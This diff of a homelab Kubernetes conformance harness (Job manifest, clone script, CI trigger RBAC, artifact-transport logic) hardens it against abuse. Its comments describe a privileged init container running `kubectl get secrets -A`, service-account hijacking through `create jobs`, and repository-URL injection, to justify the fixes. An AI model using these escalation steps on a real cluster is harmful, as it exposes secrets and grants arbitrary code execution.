# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
|
||||
# emptyDirs group-writable for that uid.
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
runAsGroup: 65532
|
||||
fsGroup: 65532
|
||||
seccompProfile: { type: RuntimeDefault }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
|
||||
image: ghcr.io/kyverno/chainsaw:v0.2.12
|
||||
workingDir: /workspace/conformance
|
||||
# The suite repo is delivered into /workspace (git clone init-container or
|
||||
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
|
||||
command: ["./run.sh"]
|
||||
# CI overrides args per invocation shape:
|
||||
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
|
||||
# ["--layer", "all", "--strict-coverage"] (phase exit)
|
||||
args: ["--layer", "all", "--strict-coverage"]
|
||||
initContainers:
|
||||
# ---------------------------------------------------------------------
|
||||
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
||||
#
|
||||
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
|
||||
# conformance/incluster/conformance-clone and is baked into the runner image at
|
||||
# /usr/local/bin/conformance-clone. That is what makes the init container
|
||||
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
|
||||
# `args: [<script>]`, no admission policy could distinguish the committed script
|
||||
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
|
||||
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
|
||||
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
|
||||
# pins this container to that one path with NO args, so it carries no
|
||||
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
|
||||
# and for why the repository URL is hardcoded THERE rather than passed in env.
|
||||
#
|
||||
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
|
||||
# is not 40 hex characters before it touches the network.
|
||||
# ---------------------------------------------------------------------
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
- name: CONF_ROOT
|
||||
value: /workspace/conformance
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||
# READ-ONLY Gitea token with read access to this one repository — never a write
|
||||
# token, never a deploy key with push. Keys: `username`, `token`.
|
||||
# An env var is not a volume, which is how this coexists with the admission
|
||||
# policy's workspace/results-only rule.
|
||||
- name: GITEA_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||
- name: GITEA_TOKEN
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
|
||||
# stays read-only and no third volume is needed.
|
||||
- name: TMPDIR
|
||||
value: /workspace/tmp
|
||||
- name: HOME
|
||||
value: /workspace/home
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /workspace/conformance/_artifacts }
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
runAsNonRoot: true
|
||||
resources:
|
||||
requests: { cpu: 100m, memory: 128Mi }
|
||||
limits: { cpu: "1", memory: 512Mi }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
# Digest-pinned under the conformance repository path — the admission policy
|
||||
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
|
||||
# (+ kubectl, git, python3, bash); see plan §5 step 1.
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
workingDir: /workspace/src/conformance
|
||||
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
|
||||
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||
command: ["./run.sh"]
|
||||
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
|
||||
args: ["--layer", "l2,l3"]
|
||||
env:
|
||||
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||
# artifact tree onto the `results` volume. It cannot live at its default
|
||||
# conformance/_artifacts, because a volume mounted inside the clone target
|
||||
# would make that directory non-empty and `git clone` would refuse it.
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
|
||||
# base64 tar over an operator's terminal.
|
||||
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||
value: "1"
|
||||
- name: TMPDIR
|
||||
value: /workspace/tmp
|
||||
- name: HOME
|
||||
value: /workspace/home
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /results }
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
runAsNonRoot: true
|
||||
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
|
||||
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
|
||||
# node without starving the suite.
|
||||
resources:
|
||||
requests: { cpu: 250m, memory: 512Mi }
|
||||
limits: { cpu: "2", memory: 2Gi }
|
||||
volumes:
|
||||
# Suite source: populated by an init-container git clone of the impl repo at
|
||||
# the commit under test, OR a Flux-synced source volume. (Init container
|
||||
# omitted from this skeleton; wire in T-6.1b.)
|
||||
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
|
||||
# Suite source, written by the init container: /workspace/src is the checkout,
|
||||
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
|
||||
# for a results PVC if durability beyond pod lifetime is required.
|
||||
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
|
||||
# carries; an emptyDir is sufficient because the transport is the log, not the
|
||||
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
Executable
+138
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env bash
|
||||
###############################################################################
|
||||
# conformance-clone — fetch the impl repo at the exact commit under test.
|
||||
#
|
||||
# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
|
||||
# root:root, so the running container (uid 65532) cannot replace it. The Job's init
|
||||
# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
|
||||
#
|
||||
# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
|
||||
# -----------------------------------------------------------------
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
|
||||
# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
|
||||
# So a Job from `conformance-trigger` could carry an init container with
|
||||
# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
|
||||
# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
|
||||
# (pass 3, fail 0).
|
||||
#
|
||||
# The fix has two halves and NEITHER works alone:
|
||||
# 1. this file — a fixed path with fixed behaviour and no argument surface, so there is
|
||||
# nothing for a caller to inject into; and
|
||||
# 2. a 4th policy rule requiring every initContainer's `command` to be exactly
|
||||
# ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
|
||||
# and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
|
||||
# Without (2) this file is merely available, not required.
|
||||
#
|
||||
# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
|
||||
# -----------------------------------------------------------------------------------
|
||||
# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
|
||||
# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
|
||||
# environment would just move the injection one field over — the trigger sets
|
||||
# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
|
||||
# executes under the privileged runner SA. Identical shape to the initContainers gap, and
|
||||
# "no args" would not have stopped it.
|
||||
#
|
||||
# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
|
||||
# vars are still read, so the Job template can keep declaring them and stay self-documenting,
|
||||
# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
|
||||
# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
|
||||
# characters of a commit that the baked repository actually contains.
|
||||
#
|
||||
# Inputs (environment; no arguments are accepted):
|
||||
# CONFORMANCE_GIT_SHA REQUIRED. 40 lowercase hex. The commit under test.
|
||||
# CONFORMANCE_REPO_URL optional. Must equal the baked URL if set.
|
||||
# CONFORMANCE_SRC optional. Must equal the baked target if set.
|
||||
# GITEA_USERNAME optional, from Secret `conformance-git-readonly`.
|
||||
# GITEA_TOKEN optional, from Secret `conformance-git-readonly`.
|
||||
# TMPDIR / HOME optional; must be under /workspace. Default to /workspace/{tmp,home}.
|
||||
#
|
||||
# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
|
||||
# Everything it writes therefore lives under /workspace. There is no writable /tmp.
|
||||
###############################################################################
|
||||
set -euo pipefail
|
||||
|
||||
# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
|
||||
readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
|
||||
readonly BAKED_SRC="/workspace/src"
|
||||
|
||||
die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
|
||||
log() { printf '==> %s\n' "$*"; }
|
||||
|
||||
[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
|
||||
|
||||
# --- the one genuinely trusted input ----------------------------------------
|
||||
# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
|
||||
# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
|
||||
: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
|
||||
printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
|
||||
|| die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
|
||||
The CI trigger did not substitute it, or substituted junk."
|
||||
|
||||
# --- env that may agree with the baked values, but may not override them -----
|
||||
REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
|
||||
[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
|
||||
got: ${REPO_URL}
|
||||
baked: ${BAKED_REPO_URL}
|
||||
Refusing. A caller that can choose the repository can choose the code that runs."
|
||||
|
||||
SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
|
||||
[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
|
||||
got: ${SRC}
|
||||
baked: ${BAKED_SRC}
|
||||
Refusing."
|
||||
|
||||
# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
|
||||
# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
|
||||
# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
|
||||
# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
|
||||
: "${TMPDIR:=/workspace/tmp}"
|
||||
: "${HOME:=/workspace/home}"
|
||||
on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
|
||||
on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
|
||||
on_workspace "${HOME}" || die "HOME must be /workspace or under it (got '${HOME}')"
|
||||
export TMPDIR HOME
|
||||
mkdir -p "${TMPDIR}" "${HOME}"
|
||||
|
||||
# --- credential (optional) ---------------------------------------------------
|
||||
# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
|
||||
# answers from the environment. The token therefore never appears in argv and never on disk.
|
||||
#
|
||||
# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
|
||||
# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
|
||||
# image), so requiring the Secret would fail runs that would otherwise work — and would make
|
||||
# this script untestable without one. It is not a privilege downgrade: the integrity
|
||||
# guarantee here is the SHA assertion below, not the credential. Which mode was used is
|
||||
# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
|
||||
CRED=''
|
||||
if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
|
||||
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
|
||||
log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
|
||||
else
|
||||
log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
|
||||
fi
|
||||
|
||||
git_c() {
|
||||
if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
|
||||
}
|
||||
|
||||
# --- clone, land the exact commit, and PROVE it ------------------------------
|
||||
log "shallow clone ${REPO_URL} -> ${SRC}"
|
||||
git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
|
||||
|
||||
if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
|
||||
log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
|
||||
git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
|
||||
fi
|
||||
|
||||
git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
|
||||
|
||||
# The assertion is the point of the whole script: everything above is best-effort plumbing,
|
||||
# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
|
||||
head="$(git -C "${SRC}" rev-parse HEAD)"
|
||||
[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
|
||||
|| die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
|
||||
|
||||
test -x "${SRC}/conformance/run.sh" \
|
||||
|| die "no executable conformance/run.sh at ${head}."
|
||||
|
||||
log "suite ready at ${head}"
|
||||
@@ -0,0 +1,14 @@
|
||||
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
|
||||
#
|
||||
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
|
||||
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
|
||||
# reconciling it would create a permanent Job object and fight the trigger for ownership.
|
||||
#
|
||||
# The identities here are inert without
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
|
||||
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
|
||||
# half — see the header of rbac.yaml.
|
||||
apiVersion: kustomize.config.k8s.io/v1beta1
|
||||
kind: Kustomization
|
||||
resources:
|
||||
- rbac.yaml
|
||||
@@ -174,3 +174,68 @@ subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-runner
|
||||
namespace: conformance
|
||||
---
|
||||
# =============================================================================
|
||||
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
|
||||
#
|
||||
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
|
||||
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
|
||||
# that can `create jobs` in this namespace can create a Job with
|
||||
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
|
||||
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
|
||||
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
|
||||
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
|
||||
# access") while appearing to satisfy it.
|
||||
#
|
||||
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
|
||||
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
|
||||
# the necessary half; that policy is the sufficient half. Neither works alone — do not
|
||||
# grant this Role without that policy reconciled and ENFORCING.
|
||||
#
|
||||
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
|
||||
# =============================================================================
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
labels:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
labels:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
rules:
|
||||
# Create the run, and watch it to completion.
|
||||
- apiGroups: [batch]
|
||||
resources: [jobs]
|
||||
verbs: [create, get, list, watch]
|
||||
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
|
||||
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
|
||||
# them from the log, so no execution channel into the runner pod is ever granted.
|
||||
- apiGroups: [""]
|
||||
resources: [pods, pods/log]
|
||||
verbs: [get, list, watch]
|
||||
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
|
||||
# failed run), no secrets, no configmaps, no exec, no create on pods.
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
labels:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: conformance-trigger
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
@@ -489,6 +489,36 @@ def pinned_chainsaw_version(conf_root: Path) -> str:
|
||||
return "unknown"
|
||||
|
||||
|
||||
def context_env() -> str:
|
||||
"""The env a run TARGETED, derived from the live kube context — never guessed.
|
||||
|
||||
WHY THIS IS NOT A DEFAULT STRING. `--env` used to fall back to the literal "dev"
|
||||
(`os.environ.get("CONF_ENV", "dev")`), and CONF_ENV is set nowhere in this repo, so EVERY
|
||||
recorded proof was stamped `env: dev` regardless of the cluster it ran against. That was
|
||||
harmless while dev was the only cluster. Dev was decommissioned 2026-09-12 and prod is now
|
||||
the only one, so on 2026-09-13 a genuine prod DR-restore proof was recorded as `env: dev` —
|
||||
a proof that lies about where it was proven is worse than no proof, because the ledger's
|
||||
whole purpose is to say what was demonstrated WHERE. Caught before it was committed.
|
||||
|
||||
Derived from `kubectl config current-context` (`k3s-prod` -> `prod`), which cannot drift
|
||||
from the cluster the run actually talked to. Undeterminable is "unknown", NEVER a cluster
|
||||
name: an unreadable context must not silently attribute a proof to an environment.
|
||||
"""
|
||||
try:
|
||||
p = subprocess.run(["kubectl", "config", "current-context"],
|
||||
capture_output=True, text=True, timeout=15)
|
||||
except (OSError, subprocess.TimeoutExpired):
|
||||
return "unknown"
|
||||
if p.returncode != 0:
|
||||
return "unknown"
|
||||
ctx = (p.stdout or "").strip()
|
||||
if not ctx:
|
||||
return "unknown"
|
||||
# contexts in this repo are named k3s-<env>; anything else is recorded verbatim so an
|
||||
# unexpected context is visible in the ledger rather than being coerced into a known name.
|
||||
return ctx[len("k3s-"):] if ctx.startswith("k3s-") else ctx
|
||||
|
||||
|
||||
def server_kube_version() -> str:
|
||||
"""Server gitVersion via `kubectl version` (read-only), else "unknown"."""
|
||||
for args in (["kubectl", "version", "-o", "json"],
|
||||
@@ -883,7 +913,9 @@ def main() -> int:
|
||||
help=f"append-only ledger (default {DEFAULT_LEDGER})")
|
||||
ap.add_argument("--tests", type=Path, default=CONF_ROOT / "tests")
|
||||
ap.add_argument("--repo", type=Path, default=REPO_ROOT)
|
||||
ap.add_argument("--env", default=os.environ.get("CONF_ENV", "dev"))
|
||||
ap.add_argument("--env", default=os.environ.get("CONF_ENV") or context_env(),
|
||||
help="env the run targeted; derived from the kube context when "
|
||||
"unset (never defaulted to a cluster name)")
|
||||
ap.add_argument("--chainsaw-version", default=None,
|
||||
help="override the versions.env pin (recorded verbatim)")
|
||||
ap.add_argument("--kube-version", default=os.environ.get("CONF_KUBE_VERSION"),
|
||||
|
||||
+113
-3
@@ -60,6 +60,17 @@
|
||||
# _artifacts/status/status.md human requirement-status report (--status)
|
||||
# _artifacts/status/status.json machine requirement-status report (--status)
|
||||
#
|
||||
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
|
||||
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
|
||||
# conformance/_artifacts (the Job mounts a `results`
|
||||
# volume, which cannot sit inside the git-clone target).
|
||||
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
|
||||
# checksummed base64 tar of the artifact tree to STDOUT,
|
||||
# because `kubectl logs` is the only channel CI has out of
|
||||
# the Job (no pods/exec, no kubectl cp). See the RESULTS
|
||||
# TRANSPORT block below for the envelope and for the five
|
||||
# checks a collector MUST make. Never set this locally.
|
||||
#
|
||||
# Run ledger (TRACKED — commit these; --record only):
|
||||
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
||||
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
||||
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
|
||||
# shellcheck source=versions.env
|
||||
source "${CONF_ROOT}/versions.env"
|
||||
|
||||
ARTIFACTS="${CONF_ROOT}/_artifacts"
|
||||
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
|
||||
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
|
||||
# path, because that path is inside the directory the init container `git clone`s into and
|
||||
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
|
||||
# a local run is byte-identical to what it always was.
|
||||
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
|
||||
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
||||
STATUS_OUT="${ARTIFACTS}/status"
|
||||
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
||||
@@ -201,13 +217,107 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
|
||||
# CONF_LEDGER exists so the harness's own tests can exercise this path without writing
|
||||
# to the real ledger; operators should never set it.
|
||||
"${PYTHON}" "${CONF_ROOT}/lib/record_run.py" \
|
||||
--run-dir "${RUN_DIR}" --env "${CONF_ENV:-dev}" \
|
||||
--run-dir "${RUN_DIR}" ${CONF_ENV:+--env "$CONF_ENV"} \
|
||||
--ledger "${CONF_LEDGER:-${CONF_ROOT}/runs/ledger.jsonl}" || true
|
||||
log "RECORD: run rc=${RUN_RC}. Commit conformance/runs/${RUN_ID}/ WITH its run.log and"
|
||||
log "RECORD: conformance/runs/ledger.jsonl — an uncommitted ledger proves nothing."
|
||||
exit "${RUN_RC}"
|
||||
fi
|
||||
|
||||
###############################################################################
|
||||
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
|
||||
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
|
||||
#
|
||||
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
|
||||
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
|
||||
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
|
||||
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
|
||||
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
|
||||
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
|
||||
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
|
||||
# ships its JUnit — the red report is the evidence the gate needs most.
|
||||
#
|
||||
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
|
||||
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
|
||||
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
|
||||
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
|
||||
# needed to PROVE completeness, and carries it TWICE:
|
||||
#
|
||||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
# <base64 of the .tgz, wrapped at 76 columns>
|
||||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
#
|
||||
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
|
||||
# never as "no artifacts", never as a pass:
|
||||
# 1. exactly one BEGIN line and exactly one END line;
|
||||
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
|
||||
# means two interleaved or re-emitted envelopes in one log;
|
||||
# 3. the count of body lines between them equals lines=;
|
||||
# 4. the decoded byte count equals bytes=;
|
||||
# 5. sha256 of the decoded bytes equals sha256=.
|
||||
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
|
||||
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
|
||||
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
|
||||
# which is the whole design requirement.
|
||||
#
|
||||
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
|
||||
# against the Job's completion condition instead of trusting either signal alone.
|
||||
#
|
||||
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
|
||||
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
|
||||
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
|
||||
# entry changed with the environment would be a trap for the collector. It unpacks the
|
||||
# contents wherever it likes.
|
||||
#
|
||||
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
|
||||
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
|
||||
###############################################################################
|
||||
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
|
||||
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
|
||||
|
||||
conf_emit_artifacts_tgz() {
|
||||
local rc="${1:-0}"
|
||||
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
|
||||
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
|
||||
# change the run's verdict — nothing here can turn a red run green or a green run red.
|
||||
trap - EXIT
|
||||
(
|
||||
set +e
|
||||
local tmp tgz b64 bytes lines sha payload
|
||||
tmp="${TMPDIR:-/tmp}"
|
||||
tgz="${tmp}/conformance-artifacts.$$.tgz"
|
||||
b64="${tgz}.b64"
|
||||
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
|
||||
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
|
||||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
|
||||
rm -f "${tgz}"
|
||||
exit 0
|
||||
fi
|
||||
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
|
||||
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
|
||||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
|
||||
rm -f "${tgz}" "${b64}"
|
||||
exit 0
|
||||
fi
|
||||
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
|
||||
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
|
||||
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
|
||||
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
|
||||
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||
cat "${b64}"
|
||||
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||
rm -f "${tgz}" "${b64}"
|
||||
exit 0
|
||||
)
|
||||
exit "${rc}"
|
||||
}
|
||||
|
||||
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
|
||||
# emits a second envelope into its child's tee'd log.
|
||||
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
|
||||
trap 'conf_emit_artifacts_tgz "$?"' EXIT
|
||||
fi
|
||||
|
||||
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
||||
gen_coverage() {
|
||||
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
||||
@@ -239,7 +349,7 @@ gen_status() {
|
||||
--registry "${CONF_ROOT}/requirements/registry.yaml" \
|
||||
--tests "${CONF_ROOT}/tests" \
|
||||
--out "${STATUS_OUT}" \
|
||||
--env "${CONF_ENV:-dev}" \
|
||||
${CONF_ENV:+--env "$CONF_ENV"} \
|
